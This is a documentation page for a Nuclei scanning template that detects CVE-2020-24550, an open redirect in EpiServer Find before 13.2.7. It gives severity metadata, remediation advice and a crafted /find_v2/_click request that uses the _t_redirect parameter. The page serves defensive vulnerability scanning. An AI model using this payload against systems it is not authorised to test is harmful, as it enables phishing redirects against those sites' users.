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EpiServer Find <13.2.7 - Open Redirect

ID: CVE-2020-24550

Severity: medium

Author: dhiyaneshDK

Tags: cve,cve2020,redirect,episerver

Description

Section titled “Description”

EpiServer Find before 13.2.7 contains an open redirect vulnerability via the _t_redirect parameter in a crafted URL, such as a /find_v2/_click URL. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2020-24550


info:
  name: EpiServer Find <13.2.7 - Open Redirect
  author: dhiyaneshDK
  severity: medium
  description: EpiServer Find before 13.2.7 contains an open redirect vulnerability via the _t_redirect parameter in a crafted URL, such as a /find_v2/_click URL. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Upgrade to EpiServer Find version 13.2.7 or later to fix the open redirect vulnerability.
  reference:
    - https://labs.nettitude.com/blog/cve-2020-24550-open-redirect-in-episerver-find/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24550
    - https://github.com/anonymous364872/Rapier_Tool
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24550
    cwe-id: CWE-601
    epss-score: 0.00144
    epss-percentile: 0.5018
    cpe: cpe:2.3:a:episerver:find:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: episerver
    product: find
  tags: cve,cve2020,redirect,episerver


http:
  - method: GET
    path:
      - '{{BaseURL}}/find_v2/_click?_t_id=&_t_q=&_t_hit.id=&_t_redirect=https://interact.sh'


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: https://interact.sh"


      - type: status
        status:
          - 301
# digest: 4a0a00473045022025ebfc51af7b08d1321aa77b5f64f99b912553cb69754f4186a217a430ffe5b4022100c256e3e0a44154b0d0fb6f549a8d9ff899102a5bac397bd6019a02a23e1d377e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-24550.yaml"

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